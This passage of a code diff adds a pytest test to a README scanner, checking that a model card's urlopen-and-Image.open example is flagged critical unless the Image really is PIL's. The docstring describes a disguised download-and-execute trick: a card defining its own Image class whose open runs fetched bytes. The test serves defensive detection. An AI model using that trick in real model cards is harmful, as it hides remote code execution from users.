Image.open(urlopen(\n" + " 'https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/" + "beignets-task-guide.png'\n))\n```\n", + id="execution-primitive-in-fence", + ), + ], +) +def test_text_scanner_documentation_image_example_requires_provable_pil_sink( + tmp_path: Path, + label: str, + example: str, +) -> None: + """The response sink must provably be PIL's ``Image``, not merely a name spelled ``Image``. + + Without this the fence body is unconstrained, so a card can define its own ``Image`` class whose + ``open`` executes the downloaded bytes and still be treated as the documented example. + """ + path = tmp_path / "README.md" + path.write_text(example, encoding="utf-8") + + result = TextScanner().scan(str(path)) + + assert result.success is False, label + assert any( + check.details.get("function") == "urlopen" and check.severity == IssueSeverity.CRITICAL + for check in _failed_network_detection_checks(result) + ), label